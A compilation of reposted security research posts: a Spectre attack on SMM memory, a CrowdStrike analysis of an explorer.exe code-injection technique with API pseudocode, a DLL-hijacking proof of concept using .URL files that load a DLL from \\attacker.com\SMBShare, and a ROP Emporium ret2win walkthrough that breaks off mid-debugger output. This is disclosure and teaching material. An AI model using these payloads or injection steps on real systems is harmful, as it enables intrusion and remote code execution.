000000005196647c... [63193.116332] Success: [63193.116333] 0x00=’?’ score=4 [63193.116334] (second best: 0x20 score=1) [63193.116335] Reading at malicious_x = 000000005196647d... [63193.328231] Success: [63193.328232] 0x00=’?’ score=1 We recovered 3 bytes: 0x4D 0x2E 0x20 which is ‘M. ‘ the third, fourth, and fifth symbols from the secret string. This exploit doesn’t cause any stability problems and can be executed multiple times to recover the entire contents of memory protected by the SMRR. For all our experiments we used a Supermicro X9SPU-F server with: Intel® Core™ i3-3220 CPU (Ivy Bridge) Ubuntu 16.04.3 LTS The system has a modified BIOS with an SMI handler that contains the code pattern (index-based array size validation) from the original Spectre variant 1 exploit to confirm that these types of speculative cache loads can be exploited to read secrets from SMRAM if this code pattern is found inside an SMI. It should be noted that the code pattern does not contain a software vulnerability and is a common way to ensure that the index in the array is outside of the array bounds, i.e., a security check. Also, we used spectre-meltdown-checker to check if system is vulnerable for Spectre1. According to this tool: CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1' … > STATUS: NOT VULNERABLE (Mitigation: OSB (observable speculation barrier, Intel v6)) … Spectre1 is mitigated only by software patches and not a microcode update. However, for the sake of our experiment, we updated the test system with the latest microcode update available from the Intel website. It is an Intel i3-3220 CPU (model 58 stepping 9) with microcode patch version 0x1f. According to Intel’s Microcode Revision Guidance, this was the latest microcode version available for this system. Future Research We tested the PoC only against System Management Range Registers (SMRR), but it’s likely that a similar attack would work against memory relying on other hardware-based range register protection mechanisms. Because the vulnerability is triggered by executing the privileged code after a transition into the privileged mode, any protection mechanism used to protect memory accessible from the privileged mode (SMM in our example) but inaccessible to an unprivileged mode (OS kernel in our example) does not prevent leaking the contents of memory via the speculative execution side-channel. We demonstrated how this attack can bypass protection based on range registers; however, we believe other mechanisms are equally affected. While we have only confirmed that the Spectre variant 1 attack would work against SMM, Branch Target Injection (Spectre variant 2) should also be effective as long as branch prediction history is not invalidated when transitioning to privileged mode, such as SMM. Mitigation We began working with Intel on this in March. They recommended that the same software guidance to mitigate Spectre variant 1 should also be applied to SMM. The analysis released by Intel recommends using LFENCE instructions to mitigate Spectre variant 1. This should also apply to the firmware developed by system manufacturers or independent BIOS vendors. However, while it’s relatively straightforward to update the OS and applications to mitigate exposure to this attack, redesigning and updating the firmware adds significant complexity. Moreover, many organizations do not apply the latest firmware updates, which often require visiting the manufacturer’s website in order to download and manually install them. Hardware vendors have also introduced mitigations to the other Spectre attacks. For example, Intel introduced Indirect Branch Restricted Speculation (IBRS) to mitigate Spectre variant 2 attacks. According to the Speculative Execution Side Channel Mitigations document released by Intel, in processors that include basic support of IBRS (even without enabling by software) “software executed before a system management interrupt (SMI) cannot control the predicted targets of indirect branches executed in system-management mode (SMM) after the SMI.” Another mitigation strategy is for firmware to limit the access that SMM has to memory. Most firmware will map physical memory into the page table used by SMM. However, the latest version of Tianocore uses techniques described in A Tour Beyond BIOS – Memory Protection in UEFI BIOS to only map the necessary portions of memory. This should greatly reduce the impact. However, most current systems are probably based on an older version of Tianocore. Firmware developers should consider back-porting this feature to protect users from this and other SMM vulnerabilities. Conclusion Our research showed that Spectre variant 1 speculative execution side-channel attacks are applicable across range register protection boundaries and can be used to exfiltrate data protected by range registers. In our example, we demonstrated this attack scenario against x86 System Management Mode (SMM) and exfiltrated data from System Management RAM protected by the CPU hardware. This expands the impact of Spectre vulnerabilities. Rather than just revealing secrets from another victim process, our analysis reveals that attackers can leverage SMM’s access to physical memory and steal secrets from other processes, hypervisors, or even firmware. Intel has indicated that existing mitigation guidance would be effective, and the PSIRT team has provided helpful responses to our communications about this issue. Sursa: https://blog.eclypsium.com/2018/05/17/system-management-mode-speculative-execution-attacks/
-
Through the Window: Creative Code Invocation February 5, 2014 Chris Dietrich Research & Threat Intel Recently, while analyzing a targeted attack, CrowdStrike observed an interesting code invocation technique that we want to describe here. This particular technique can be used to invoke code that has been injected into explorer.exe. Many targeted attacks involve executing malicious code. No matter how a target gets infected, at some point an adversary typically aims to execute some kind of remote access tool (RAT), which is then used, for example, to exfiltrate critical information from the victim. Furthermore, malware often strives for persistence and stealth. A popular way to achieve persistence and stealth on 32-bit Windows is to inject the malware into the process explorer.exe. Since explorer.exe is always running and since it is deemed benign, the malware has a higher chance to persist. The basic procedure to execute injected code consists of two steps: code injection and code invocation. First, the code to be executed has to be injected into a target process, such as explorer.exe. Then, this injected code must be triggered in order to execute. Windows offers a variety of ways to inject code into another process and have this code executed, and many of these techniques are well known. For example, one of the simpler ways to achieve this is the following: The malware acquires a handle to the target process, e.g., using OpenProcess(). It allocates memory space in the target process and writes the code to be executed into the target process, e.g., using WriteProcessMemory(). Finally, the malware can use the function CreateRemoteThread() to execute the newly injected code. However, anti-virus solutions are aware of this specific method and will handle it appropriately. As a result, adversaries tend to use more subtle injection and invocation methods. Using Window Handling Procedures for Invocation Recently, CrowdStrike has noticed increased use of a less-obvious code invocation technique. While the technique itself has been known to the security community since at least the end of 2012, it is not as commonly observed as other techniques and bears witness of a skilled adversary. In this case, code injection into the running explorer.exe process is achieved by means of a shared section. For example, a malicious process would create a new section, and map views of this section into itself and explorer.exe. Subsequently, when the malicious process writes code into this shared section, the code will also be available from inside the target process. As part of the mapping, the base address of the shared section’s view in explorer.exe can be acquired. This will be needed later on, when preparing to trigger the injected code. Once the injection has worked, the injected code needs to be executed, and here creativity comes into play. In short, the goal of the malware is to overwrite a function pointer used by the taskbar’s window handling procedure. More precisely, Windows exhibits a feature called extra window memory. Extra window memory allocates up to 40 bytes of memory with each instance of a window class that makes use of the extra window memory feature. In order to access and modify data of the extra window memory, the functions GetWindowLong() and SetWindowLong() can be used. In the context of malware, this extra window memory feature can be used for invocation under certain circumstances. For this to work, the malware acquires a handle to the taskbar window that is the only window of the window class “Shell_TrayWnd”. This window is always associated with explorer.exe. Thus, the malware calls FindWindowA(className=”Shell_TrayWnd”) to get a handle to the corresponding window. As a next step, the function SetWindowLong() is called. As described above, this function is intended to change attributes of a specific window and allows the malware to change values in the extra window memory. The taskbar window uses extra window memory and stores a function pointer at offset 0. The disassembly below shows the corresponding part of the taskbar’s window handling procedure, located in explorer.exe. The taskbar’s window handling procedure makes use of the function pointer at offset 0 in the extra memory (contained in ESI): 01001b48 mov eax, [esi] ; esi is a pointer to a pointer to a function 01001b4a push esi 01001b4b call [eax] By calling SetWindowLong() with the taskbar’s window handle, an offset of 0, and a pointer to the entrypoint of the injected code as parameters, the malware can effectively replace the function pointer used by the taskbar’s window handler. The Relative Virtual Address (RVA) of the entry point needs to be adjusted to the base address of the shared section in the target process. Conveniently, this base address is stored in a pointer argument when calling MapViewOfSection(). In order to make sure that the modified function pointer of the window handler is triggered, the malware sends a message to the window, e.g., using SendNotifyMessageA() or PostMessageA(). In effect, this will result in the injected code being executed in the context of explorer.exe. Interestingly, overwriting the taskbar’s window handling procedure (SetWindowLong() with offset GWL_WNDPROC) is only allowed from the handling process itself (explorer.exe). However, overwriting the function pointer at offset 0 as discussed above is not bound to this restriction. In summary, a typical sequence of API calls used in this invocation technique is shown in the pseudo code snippet below: // Create a shared section and map it into both, the current process // as well as explorer.exe ntdll.NtCreateSection(..) ntdll.MapViewOfSection(hCurrentProcess, ..) ntdll.MapViewOfSection(hExplorerProcess, ..) // Find the taskbar window and overwrite the function pointer // used by its window handling procedure hTaskbarWnd = user32.FindWindowA(..) user32.SetWindowLong(hTaskbarWnd, 0, ppMalwareEP) // Trigger the taskbar window handling procedure PostMessageA(..) or SendNotifyMessageA(..) Example of a Recent Targeted Attack Let’s turn to a recent sample used in a targeted attack. In fact, the PE binary with an MD5 hash of 111ed2f02d8af54d0b982d8c9dd4932e has been observed as part of an attack alleged to have targeted embassies in a Middle East capital. Interestingly, this sample makes use of the above-mentioned invocation technique. While the sample employs a variety of methods to hinder analysis, we are primarily interested in the malware’s code injection and invocation in explorer.exe. In this case, the malware proceeds exactly as described above. First, it creates a shared section as shown in the disassembly below: Following that, the malware maps views of the section into its own process and into explorer.exe. The following figure shows the disassembly of the second call to MapViewOfSection where a pointer to the base address of the shared section’s view is stored in EDX. Then, it proceeds by retrieving a handle to the taskbar window using FindWindowA() with a class name of Shell_TrayWnd. The class name string is decrypted by XOR’ing each character with 0x2E. Afterward, it overwrites the pointer used by the window handling function with the entry point of its injected code and triggers it using PostMessageA(). Technique Variations and Improvements This invocation technique exists in several variants. For example, one variant saves (using GetWindowLong()) and restores the original pointer to the window handling procedure for the taskbar window, once the injected code has been triggered. This particular variant has been observed with a malware referred to as Powerloader, as well as the Hesperbot banking trojan and the Gapz malware family. Another related variant has been observed to avoid creating a new section, and instead it opens an existing shared section, such as BaseNamedObjectsShimSharedMemory. Using an existing shared section avoids the need to map a view of a newly created section into explorer.exe and is thus even less obvious. A more advanced variant of this technique attempts to tackle DEP by means of Return-Oriented Programming (ROP). In summary, this blog post examined a way of invoking code injected into explorer.exe by overwriting a function pointer used by the taskbar’s window handling procedure. Interestingly, this specific technique has been observed with both selected malware families in the cyber crime domain (Powerloader, Hesperbot banking trojan, Gapz), as well as at least one recent targeted attack. For more information on this technique for process injection or the adversaries using it, including detection logic or any of the adversaries tracked by CrowdStrike, please contact: intelligence@crowdstrike.com and inquire about our Intelligence subscription. Sursa: https://www.crowdstrike.com/blog/through-window-creative-code-invocation/
-
Attacking a co-hosted VM, Paul Fariello, Mehdi Talbi, INFILTRATE 2018
-
- 1
-
-
DLL Hijacking via URL files This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them. The Problem On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like ShellExecute although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass file:///c:/windows/system32/cmd.exe but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring. So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code: Abusing the download folder The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems: 1) It requires that I am able to trigger a download of a file without user interaction 2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers Zone Identifiers In case a file is downloaded (eg. via the web browsers) Windows adds an Alternative Data Stream called Zone.Identifier to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <realfileOnDisk>:<ADSName>. In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like example.com, it gets assigned a Zone ID of 3: >dir /R downloaded.exe downloaded.exe:Zone.Identifier:$DATA >notepad downloaded.exe:Zone.Identifier [ZoneTransfer] ZoneId=3 As soon as the ZoneId is > 2 Windows will show the following warning dialog for potential insecure file extensions: Figure 1: Warning Dialog This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on. I have to mention that I discovered that certain 3rd party extensions like Pythons .py files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable. SMB/UNC Paths After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler: file://attacker.com/SMBShare/fileYouWantoToOpen My first naive thinking was: As the file is hosted on a remote SMB share, there is no Zone.Identifier ADS present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application.... Yeah thats not how it works. Just have a look at the following examples: file://attacker.com/SMBShare/evil.exe file://attacker.com/SMBShare/test.bat This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them. The start of the solution - .URL After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (file://attacker.com/SMBShare/test.URL). I was familiar with the following .URL structure : Link to a local file: [InternetShortcut] URL=C:\windows\system32\cmd.exe Link to a HTTP resource: [InternetShortcut] URL=http://example.com Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully someone already documented all the supported properties of .URL files so I decided to have a look: The classic URL file format is pretty simple; it has a format similar to an INI file: Sample URL File: _______________________________________________________ [InternetShortcut] URL=http://www.someaddress.com/ WorkingDirectory=C:\WINDOWS\ ShowCommand=7 IconIndex=1 IconFile=C:\WINDOWS\SYSTEM\url.dll Modified=20F06BA06D07BD014D HotKey=1601 _______________________________________________________ I think the WorkingDirectory directive is self explanatory but it allows to set the working directory of the application, which is specified by the URL directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc. This gave me the following idea: [InternetShortcut] URL=file:///c:/<pathToAnApplication> WorkingDirectory=\\attacker.com\SMBShare Maybe I can specify a standard Windows Application via the URL directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic: Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share. Get a list of all the currently running processes as a base comparison. Start ProcessMonitor Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share. Execute a .URL file eg file://attacker.com/SMBShare/poc1.URL Get a list of all the currently running processes Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources. Repeat step 6,7 and 8 until all created .URL files were executed After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) TestNotes: I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. The results First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur. As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry: I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this: My DLL was successfully loaded from the remote share (yes in this case I used localhost)! Additionally the message box of my DLL was displayed, ergo my own code was executed! To be sure I verified this behavior by setting a static DNS entry in the C:\windows\system32\drivers\etc\hosts file and mapped attacker.com to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local attacker.com machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered): [InternetShortcut] URL=C:\windows\WinSxS\x86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667\mscorsvw.exe WorkingDirectory=\\attacker.com\SMBShare\ mscorsvw.exe will load mscorsvc.dll from the remote smb share! To sum up the attack: A vulnerable application allows to execute a file but without parameters I abuse this vulnerability to load file://attacker.com/SMBShare/poc.URL poc.URL contains structure posted above My malicious mscorsvc.dll will be loaded -> WIN There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path. Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. Protection I reported this issue to Microsoft and they confirmed that they could reproduce it. Afterwards I got the following response: ---- Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key. https://support.microsoft.com/en-us/help/2264107/a-new-cwdillegalindllsearch-registry-entry-is-available-to-control-the [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager] "CWDIllegalInDllSearch"=dword:ffffffff ---- I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector . Afterwards I got permission to publish this blogpost: ---- Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...] ---- Posted by Alex Inführ at 7:19 AM Sursa: http://insert-script.blogspot.ro/2018/05/dll-hijacking-via-url-files.html
-
ROPping to Victory ROP Emporium challenges with Radare2 and pwntools. Today we're going to be cracking the first ropmeporium challenge. These challenges are a learning tool for Return Oriented Programming, a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory. We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use radare2 for the reverse engineering aspects and pwntools for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along. Binary Analysis To start off, lets have a look at the file: $ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on. $ r2 -AAA ret2win32 [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (afta) [0x08048480]> The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt. The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming ASLR isn't present. By default the starting address is the address of the entry0 function, where program execution starts. We can list all the functions in the binary with afl: [0x08048480]> afl 0x080483c0 3 35 sym._init 0x08048400 1 6 sym.imp.printf 0x08048410 1 6 sym.imp.fgets 0x08048420 1 6 sym.imp.puts 0x08048430 1 6 sym.imp.system 0x08048440 1 6 sym.imp.__libc_start_main 0x08048450 1 6 sym.imp.setvbuf 0x08048460 1 6 sym.imp.memset 0x08048470 1 6 sub.__gmon_start_470 0x08048480 1 33 entry0 0x080484b0 1 4 sym.__x86.get_pc_thunk.bx 0x080484c0 4 43 sym.deregister_tm_clones 0x080484f0 4 53 sym.register_tm_clones 0x08048530 3 30 sym.__do_global_dtors_aux 0x08048550 4 43 -> 40 entry1.init 0x0804857b 1 123 sym.main 0x080485f6 1 99 sym.pwnme 0x08048659 1 41 sym.ret2win 0x08048690 4 93 sym.__libc_csu_init 0x080486f0 1 2 sym.__libc_csu_fini 0x080486f4 1 20 sym._fini Here we can note several interesting functions: main, pwnme and ret2win. As program execution properly starts in the main method, let's take a look at that first to orient ourselves. We can do this with the pdf (print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf. [0x08048480]> s sym.main [0x0804857b]> pdf ;-- main: / (fcn) sym.main 123 | sym.main (); | ; var int local_4h_2 @ ebp-0x4 | ; var int local_4h @ esp+0x4 | ; DATA XREF from 0x08048497 (entry0) | 0x0804857b 8d4c2404 lea ecx, dword [local_4h] ; 4 | 0x0804857f 83e4f0 and esp, 0xfffffff0 | 0x08048582 ff71fc push dword [ecx - 4] | 0x08048585 55 push ebp | 0x08048586 89e5 mov ebp, esp | 0x08048588 51 push ecx | 0x08048589 83ec04 sub esp, 4 | 0x0804858c a164a00408 mov eax, dword [obj.stdout] ; [0x804a064:4]=0 | 0x08048591 6a00 push 0 | 0x08048593 6a02 push 2 ; 2 | 0x08048595 6a00 push 0 ; size_t size | 0x08048597 50 push eax ; int mode | 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x0804859d 83c410 add esp, 0x10 | 0x080485a0 a140a00408 mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0 | 0x080485a5 6a00 push 0 | 0x080485a7 6a02 push 2 ; 2 | 0x080485a9 6a00 push 0 ; size_t size | 0x080485ab 50 push eax ; int mode | 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size) | 0x080485b1 83c410 add esp, 0x10 | 0x080485b4 83ec0c sub esp, 0xc | 0x080485b7 6810870408 push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" ; const char * s | 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485c1 83c410 add esp, 0x10 | 0x080485c4 83ec0c sub esp, 0xc | 0x080485c7 6828870408 push str.32bits ; 0x8048728 ; "32bits\n" ; const char * s | 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s) | 0x080485d1 83c410 add esp, 0x10 | 0x080485d4 e81d000000 call sym.pwnme | 0x080485d9 83ec0c sub esp, 0xc | 0x080485dc 6830870408 push str.Exiting ; 0x8048730 ; "\nExiting" ; const char * s | 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s) | 0x080485e6 83c410 add esp, 0x10 | 0x080485e9 b800000000 mov eax, 0 | 0x080485ee 8b4dfc mov ecx, dword [local_4h_2] | 0x080485f1 c9 leave | 0x080485f2 8d61fc lea esp, dword [ecx - 4] \ 0x080485f5 c3 ret [0x0804857b]> Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function. We notice that a bunch of stuff is printed using puts and then pwnme is called, so let's take a look at that function. Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way. [0x0804857b]> pdf @ sym.pwnme / (fcn) sym.pwnme 99 | sym.pwnme (); | ; var int local_28h @ ebp-0x28 | ; CALL XREF from 0x080485d4 (sym.main) | 0x080485f6 55 push ebp | 0x080485f7 89e5 mov ebp, esp | 0x080485f9 83ec28 sub esp, 0x28 ; '(' | 0x080485fc 83ec04 sub esp, 4 | 0x080485ff 6a20 push 0x20 ; 32 | 0x08048601 6a00 push 0 ; size_t n | 0x08048603 8d45d8 lea eax, dword [local_28h] | 0x08048606 50 push eax ; int c | 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x0804860c 83c410 add esp, 0x10 | 0x0804860f 83ec0c sub esp, 0xc | 0x08048612 683c870408 push str.For_my_first_trick__I_will_attempt_to_fit_50_bytes_of_user_input_into_32_bytes_of_stack_buffer___What_could_possibly_go_wrong ; 0x804873c ; "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?" ; const char * s | 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s) | 0x0804861c 83c410 add esp, 0x10 | 0x0804861f 83ec0c sub esp, 0xc | 0x08048622 68bc870408 push str.You_there_madam__may_I_have_your_input_please__And_don_t_worry_about_null_bytes__we_re_using_fgets ; 0x80487bc ; "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n" ; const char * s | 0x08048627 e8f4fdffff call sym.imp.puts ; int puts(const char *s) | 0x0804862c 83c410 add esp, 0x10 | 0x0804862f 83ec0c sub esp, 0xc | 0x08048632 6821880408 push 0x8048821 ; const char * format | 0x08048637 e8c4fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804863c 83c410 add esp, 0x10 | 0x0804863f a160a00408 mov eax, dword [obj.stdin] ; [0x804a060:4]=0 | 0x08048644 83ec04 sub esp, 4 | 0x08048647 50 push eax | 0x08048648 6a32 push 0x32 ; '2' ; 50 | 0x0804864a 8d45d8 lea eax, dword [local_28h] | 0x0804864d 50 push eax ; char *s | 0x0804864e e8bdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x08048653 83c410 add esp, 0x10 | 0x08048656 90 nop | 0x08048657 c9 leave \ 0x08048658 c3 ret We can see memset at the top being called. Radare helpfully prints the function signature for memset in a comment (after the ;), and we can see it takes a pointer, an int and a size in that order. As this is 32-bit, we can look at the assembly and see that the value 0x20 is pushed to the stack, followed by 0 and a pointer to the variable local_28h immediately before memset is called. As whatever is pushed to the stack last is at the top and is popped first, the arguments to the function are getting pushed on in reverse order so that the first argument is at the top. Appropriately allocating these arguments to the memset function means that memset is zeroing out 0x20 bytes of memory for the variable local_28h. We can also see further down that fgets is being called with 0x32 bytes being written to local_28h from stdin. Radare helpfully tells us in the comments that these are 50 and 32 in decimal, and the string that gets put'd to the screen seems to agree. If we're feeling lazy, we can use radare to do some maths for us here: [0x0804857b]> ? 0x32 - 0x20 18 0x12 022 18 0000:0012 18 "\x12" 0b00010010 18.0 18.000000f 18.000000 0t200 So as 50 bytes of memory are being written into a 32 byte buffer we think we have found the buffer overflow vulnerability location and that we'll have 18 bytes of space in which to fit our exploit! Next, let's take a look at the last interesting function, ret2win, which is the name of the challenge. [0x0804857b]> pdf @ sym.ret2win / (fcn) sym.ret2win 41 | sym.ret2win (); | 0x08048659 55 push ebp | 0x0804865a 89e5 mov ebp, esp | 0x0804865c 83ec08 sub esp, 8 | 0x0804865f 83ec0c sub esp, 0xc | 0x08048662 6824880408 push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:" ; const char * format | 0x08048667 e894fdffff call sym.imp.printf ; int printf(const char *format) | 0x0804866c 83c410 add esp, 0x10 | 0x0804866f 83ec0c sub esp, 0xc | 0x08048672 6841880408 push str.bin_cat_flag.txt ; 0x8048841 ; "/bin/cat flag.txt" ; const char * string | 0x08048677 e8b4fdffff call sym.imp.system ; int system(const char *string) | 0x0804867c 83c410 add esp, 0x10 | 0x0804867f 90 nop | 0x08048680 c9 leave \ 0x08048681 c3 ret This function seems to do everything we could ask of it, calling system with /bin/cat flag.txt. It also takes no arguments, so it looks like we'd just need to return to it to win! Let's make a note of the address of ret2win, 0x08048659, and move on to exploitation. Exploitation We're going to exploit the binary using pwntools, which is an excellent library for python that abstracts away a lot of the headaches and repetition that can come with exploit development. To start with, let's try running the binary: $ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > test Exiting We can see that it prints the strings we saw earlier and we appear to be correct about the buffer sizes. We enter 'test' and the program just exits, as expected. Let's create a skeleton script to execute and debug our exploit: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") pwn.gdb.attach(t) t.interactive() This script will start the ret2win32 process organically and return a tube (sort of like a handle to the process), attach the gdb debugger to it and then provide us with an interactive session using gdb. If we find that gdb is attaching to the started process too late and our program execution has already passed our breakpoints then we can instead start the process from gdb directly using t = pwn.gdb.debug("./ret2win32"), but until then we'll start it organically to avoid any potential issues. Running our python script results in: $ python pwn_ret2win.py [+] Starting local process './ret2win32': pid 56036 [*] running in new terminal: /usr/bin/gdb -q "./ret2win32" 56036 -x "/tmp/pwnE_DG49.gdb" [+] Waiting for debugger: Done [*] Switching to interactive mode ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > $ A gdb session is also created in a separate terminal. This looks to be working as intended to let's continue: #!/usr/bin/env python2 import pwn t = pwn.process("./ret2win32") gdb_cmd = [ 'b *0x08048653', 'c' ] pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd)) t.recvuntil('\n>') t.sendline("test") t.interactive() This script has a bit more to it. We've created an array of gdb_cmds which we are joining with newline characters (so that they are "entered") which we are passing to gdb via the gdbscript parameter. Presently this array just consists of a breakpoint at the address 0x08048653 and the 'c', or continue, command which continues execution once gdb initially attaches to the process. The 0x08048653 address was taken from radare and is the address of the instruction after fgets is called in the pwnme function, so we can examine memory after the program takes our input. We then continue receiving input until a newline and a ">" prompt is received using t.recvuntil('\n>') as this is what is displayed in the console when the binary is waiting for our input. We then send the string 'test' followed by a newline character using the sendline command. Executing this script results in a gdb session at the breakpoint, as expected. Examining the memory we see our "test" string in the return value of the function (eax) and on the stack: [#0] Id 1, Name: "ret2win32", stopped, reason: STOPPED ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7f31059 → Name: __kernel_vsyscall() [#1] 0xf7e147d7 → Name: read() [#2] 0xf7da1798 → Name: _IO_file_underflow() [#3] 0xf7da28ab → Name: _IO_default_uflow() [#4] 0xf7d95871 → Name: _IO_getline_info() [#5] 0xf7d959be → Name: _IO_getline() [#6] 0xf7d947a9 → Name: fgets() [#7] 0x8048653 → Name: pwnme() [#8] 0x80485d9 → Name: main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 0xf7f31059 in __kernel_vsyscall () Breakpoint 1 at 0x8048653 [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $eax : 0xffefeb60 → "test" $ebx : 0x00000000 $ecx : 0xf7f0589c → 0x00000000 $edx : 0xffefeb60 → "test" $esp : 0xffefeb50 → 0xffefeb60 → "test" $ebp : 0xffefeb88 → 0xffefeb98 → 0x00000000 $esi : 0xf7f04000 → 0x001d4d6c ("lM"?) $edi : 0x00000000 $eip : 0x08048653 → add esp, 0x10 $eflags: 